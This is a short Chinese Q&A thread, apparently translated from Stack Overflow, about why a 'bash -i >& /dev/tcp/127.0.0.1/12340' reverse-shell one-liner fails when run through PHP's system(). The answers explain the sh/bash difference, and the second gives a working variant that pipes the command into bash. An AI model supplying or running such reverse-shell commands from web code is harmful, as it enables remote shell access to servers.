php 系统“语法错误:错误的 fd 编号”

问题描述 投票:0回答:2

当我通过

bash -i >& /dev/tcp/127.0.01/12340 0>&1
执行
system()
时,我得到:

Syntax error: Bad fd number

enter image description here

但是当我通过终端执行

bash -i >& /dev/tcp/127.0.01/12340 0>&1
时没有错误。

enter image description here

我该如何修复它?

php linux sh
2个回答
1
投票

/dev/tcp
bash
的一项功能,但是在 PHP 脚本中的第一个屏幕截图中,您使用的是
sh

解决方案是像在本地终端中一样实际使用

bash


0
投票

试试这个:

system('echo "sh -i >& /dev/tcp/127.0.0.1/12340 0>&1" | bash');

© www.soinside.com 2019 - 2024. All rights reserved.